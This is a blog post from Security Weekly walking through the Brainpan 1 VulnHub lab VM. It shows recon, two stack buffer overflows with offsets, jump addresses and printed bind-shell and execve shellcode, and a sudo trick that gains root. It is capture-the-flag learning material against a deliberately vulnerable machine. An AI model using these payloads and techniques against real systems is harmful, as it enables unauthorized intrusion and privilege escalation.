Security Weekly
Content

Oops! I did it again….I played with Vulnhub, got lost in Brainpan..

Yes, i probably should be flogged for the Brittany Spears esque tittle. But as it suggests, I, yet again, couldn’t bring myself to finish school work regarding the natural sciences. I’ll get to it, no worries. But in the mean time, here is a little procrastination:

I figured I would pull down one of the older, but harder VM’s from VulnHub. Brainpan 1 by superkojiman, I’ve heard a lot about this one and the sequel Brainpan 2, which I will complete at a later time.

First, I migrate the VM into VMWare Fusion, and then the standard netdiscover. We clearly see the VMWare mac address and is listed as 192.168.1.235:

netdiscover-brainpan

Lets take a look at the ports this bad boy is running and see if we can grab some banners with [email protected]:/nas/content/live/devsecweekly2/tenable# nmap -sV 192.168.1.235 :

Nmap-results-brainpan

Wow! That’s one crazy response from port 9999, we’ll look at that in a second. But first, lets check out the http server:

Veracode-report-brainpain

Oh, Cool… a veracode report… are we being trolled? Possibly! Lets take a look at the interesting port 9999 with netcat:

[email protected]:/nas/content/live/devsecweekly2/tenable# nc -nv 192.168.1.235 9999

port-9999-brainpan

It’s asking for a password and only allows one entry… Hmm.. Interesting, after trying several login attempts. It becomes clear that this might not be the easy way in. Lets turn our direction to the web server and enumerate it a little more.

I tend to like to use a few multi functioning tools, so for this one in particular I will use Zed Attack Proxy, in case I want to look at requests as well as enumerate directories. I use forced browse with recursion off and the default directory list:

ZAP-ForcedBrowse-Brainpan

Well that’s interesting! Brainpain.exe looks to be a good find, lets download it and do some analysis.

[email protected]:~# file brainpan.exe
brainpan.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

Clearly, this is a windows PE, lets use our highly skilled forensic tool, strings!

[email protected]:~# strings brainpan.exe
[^_]
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
[^_]
[get_reply] s = [%s]
[get_reply] copied %d bytes to buffer
shitstorm
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
ACCESS DENIED
ACCESS GRANTED
[+] initializing winsock...
[!] winsock init failed: %d
done.
[!] could not create socket: %d
[+] server socket created.
[!] bind failed: %d
[+] bind done on port %d
[+] waiting for connections.
[+] received connection.
[+] check is %d
[!] accept failed: %d
[+] cleaning up.
-LIBGCCW32-EH-3-SJLJ-GTHR-MINGW32
w32_sharedptr->size == sizeof(W32_EH_SHARED)
../../gcc-3.4.5/gcc/config/i386/w32-shared-ptr.c
GetAtomNameA (atom, s, sizeof(s)) != 0
AddAtomA
ExitProcess
FindAtomA
GetAtomNameA
SetUnhandledExceptionFilter
__getmainargs
__p__environ
__p__fmode
__set_app_type
_assert
_cexit
_iob
_onexit
_setmode
abort
atexit
free
malloc
memset
printf
signal
strcmp
strcpy
strlen
WSACleanup
WSAGetLastError
WSAStartup
accept
bind
closesocket
htons
listen
recv
send
socket
KERNEL32.dll
msvcrt.dll
WS2_32.DLL

Okay! That certainly looks familiar, also, there seems to be some traditionally insecure functions calls, such as printf & strcpy.

Lets throw this in immunity and attempt some fuzzing :

in-immunity-brainpan

Lets throw something at it on our test box – python -c ‘print “A”*1000’ | nc 192.168.1.251 9999

bufferoverflow-brainpan

It looks like our hunch was right, there is a buffer overflow in this binary, lets do some analysis.

We will do a !mona pc 1000, use that buffer and then a !mona findmsp

We find that EIP is at offset 524, we should be able to deliver a jmp esp instruction as this point and place our shellcode at ESP.

We’ll issue a !mona jmp -r esp and find a decent register

We’re in luck! There is one within the binary itself.

0x311712f3 : jmp esp | {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:Documents and SettingsAdministratorDesktopbrainpan.exe)

We will switch is to the little endian version of xf3x12x17x31

Align our buffer like so, “A” * 524 + “xf3x12x17x31″+”x90″*10+”shellcode”

But first, lets just throw some some nops and “B”‘s at it to see how the stack aligns.
Python -c 'print "A" * 524 + "xf3x12x17x31"+"x90"*10+"B"*20' | nc -nc 192.168.1.251 9999

Throw a break point on 0x311712f3 and lets see how this works for us:

JMP-ESP-hit-Brainpan

Our breakpoint is hit! Lets see how the stack lines up after though.

Stack-align-brainpan

Its looking good for us! Lets insert our shellcode and pwn this thing!

Crafted shellcode :
x6ax66x6ax01x5bx58x99x52x6ax01x6ax02x89xe1xcdx80x89xc6x6ax66x58x43x52x66x68xfcx15x66x53x89xe1x6ax10x51x56x89xe1xcdx80x6ax66x58x43x43x6ax05x56xcdx80x6ax66x58x43x52x52x56x89xe1xcdx80x89xc3x6ax3fx58x31xc9xcdx80x6ax3fx58x41xcdx80x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x99x50xb0x0bx59xcdx80

Enter our payload and connect……….moment of truth…

sudo-l-brainpan

Seems we now have shell! But, we are a limited user, who can only run commands as root on one file…

python -c ‘import pty;pty.spawn(“/bin/bash”)’ to give us a much prettier shell.

For me, privilege escalation is one of the hardest parts of this process, I’ve not found a better resource than g0tmi1ks guide here : http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

Also pwnwiki is a great resource : http://pwnwiki.io/#!privesc/linux/index.md

After quite a bit of looking for kernel exploits and enumeration, I found a file that has its SUID bit set to anansi:

SUID-file-brainpan

It wants some sort of input, lets check it out.
[email protected]:/home/puck$ /usr/local/bin/validate `python -c 'print "A"*1000'`

Looks vulnerable to me. Lets see what its doing, gdb unfortunately is not installed. Lets see the results of [email protected]inpan:/home/puck$ ltrace /usr/local/bin/validate `python -c 'print "A"*1000'`

Vuln-strcpy-brainpan

Looks like a strcpy again, we can see the address where it starting at 0xbfb5b608

Lets go ahead and copy the elf file back to your kali machine:

[email protected]:~/brainpan# nc -lvp 4444 > validate

[email protected]:/usr/local/bin$ nc 192.168.1.228 4444 < validate

Lets look at this in GDB

[email protected]:~/brainpan# gdb ./validate
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /root/brainpan/validate...done.
(gdb) disassemble
No frame selected.
(gdb) info registers
The program has no registers now.
(gdb) run `python -c 'print "A"*1000'`
Starting program: /root/brainpan/validate `python -c 'print "A"*1000'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax 0xbffff068 -1073745816
ecx 0x0 0
edx 0x3e9 1001
ebx 0x41414141 1094795585
esp 0xbffff0e0 0xbffff0e0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eax
0xbffff068: 'A' ...
(gdb) x/s $ebx
0x41414141:


(gdb) x/s $ebp
0x41414141:

(gdb) x/s $eip
0x41414141:

(gdb)

Validate-bufferof-brainpan

We can tell that our buffers of "A" (byte value x41) as overwritten the registers that EIP calls, EBX calls, and the buffer of roughly 200 sits in register EAX.

Lets do some msfpattern_create and offset to figure out eaxctly where.

[email protected]:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

(gdb) r `python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"'`


(gdb) info registers
eax 0xbffff068 -1073745816
ecx 0x0 0
edx 0x3e9 1001
ebx 0x41366441 1094083649
esp 0xbffff0e0 0xbffff0e0
ebp 0x64413764 0x64413764
esi 0x0 0
edi 0x0 0
eip 0x39644138 0x39644138
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eip
0x39644138:


(gdb)

Now we put our address into ./pattern_offset like so:

[email protected]:/usr/share/metasploit-framework/tools# ./pattern_offset.rb 39644138
[*] Exact match at offset 116
[email protected]:/usr/share/metasploit-framework/tools#


EIP should be at offset 116 in our buffer. Lets attempt to craft our buffer in a way that we can see whats going on. What it looks like is happening, is that we will need to craft our payload such that our payload is at the beginning of our buffer, and our EIP register is an address to JMP EAX. Lets test this theory.

We will use a buffer of "A" * 116 + "BBBB"+ "C"*500 and see how things behave.

(gdb) r `python -c 'print "A"*116+"BBBB"+"C"*100'`
Starting program: /root/brainpan/validate `python -c 'print "A"*116+"BBBB"+"C"*100'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers
eax 0xbffff368 -1073745048
ecx 0x0 0
edx 0xdd 221
ebx 0x41414141 1094795585
esp 0xbffff3e0 0xbffff3e0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/s $eax
0xbffff368: 'A' , "BBBB", 'C' ...
(gdb)

It looks as though that’s exactly what we are going to need to do. Lets go about finding a call/jmp EAX register.

[email protected]:~/brainpan# objdump -d validate |grep -i eax | grep -E "*(jmp|call)"
08048468: ff 14 85 14 9f 04 08 call *0x8049f14(,%eax,4)
080484af: ff d0 call *%eax
0804862b: ff d0 call *%eax

Looks like we have two address's that we can use, ill use 080484af.

Ill put that in little endian, just so I can reference it as such here on out.

xafx84x04x08

Linuxexecv cmd = binsh

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
unsigned char buf[] =
"xb8x3fx8exeex6exdaxc9xd9x74x24xf4x5fx2bxc9xb1"
"x0bx83xc7x04x31x47x11x03x47x11xe2xcaxe4xe5x36"
"xadxabx9fxaexe0x28xe9xc8x92x81x9ax7ex62xb6x73"
"x1dx0bx28x05x02x99x5cx1dxc5x1dx9dx31xa7x74xf3"
"x62x54xeex0bx2axc9x67xeax19x6d";

Our buffer should be :

nop + "shellcode"to make 116 bytes + "xafx84x04x08" + "C" * 500

After quite a bit of playing around with the payload, I figured out that the nops have to be after the shellcode, for whatever reason. I could research further, but with the following setup the exploit seems to work:

shellcode + nops+ jmp eax addr + C*500

after-validate-exploit-brainpan

We now are part of the anansi group!

As we know from before, there is a file puck can run as root with no password. Anansi_util. lets do some trickery…

$ echo "#!/bin/sh" > anansi_util
echo "#!/bin/sh" > anansi_util
$ echo "/bin/sh" >> anansi_util
echo "/bin/sh" >> anansi_util
$ cat anansi_util
cat anansi_util
#!/bin/sh
/bin/sh
$ sudo ./anansi_util
sudo ./anansi_util
# id
id
uid=0(root) gid=0(root) groups=0(root)
#

And that’s the game!

The-End-brainpan

Paul Asadoorian

Paul Asadoorian is currently the Principal Security Evangelist for Eclypsium, focused on firmware and supply chain security awareness. Paul’s passion for firmware security extends back many years to the WRT54G hacking days and reverse engineering firmware on IoT devices for fun. Paul and his long-time podcast co-host Larry Pesce co-authored the book “WRTG54G Ultimate Hacking” in 2007, which fueled the firmware hacking fire even more.

Paul has worked in technology and information security for over 20 years, holding various security and engineering roles in a lottery company, university, ISP, independent penetration tester, and security product companies such as Tenable.
In 2005 Paul founded Security Weekly, a weekly podcast dedicated to hacking and information security. Paul grew Security Weekly into a network of security podcasts spanning multiple topics, such as application security and business. It has been estimated that Paul has conducted over 1,000 interviews with security professionals and hosted more than 1,000 podcast episodes in cybersecurity. In 2020 Security Weekly was acquired by the Cyberrisk Alliance.

Paul is still the host of one of the longest-running security podcasts, Paul’s Security Weekly, he enjoys coding in Python, telling everyone he uses Linux as his daily driver, poking at the supply chain, and reading about UEFI and other firmware-related technical topics.

Get daily email updates

SC Media's daily must-read of the most current and pressing daily news

By clicking the Subscribe button below, you agree to SC Media Terms and Conditions and Privacy Policy.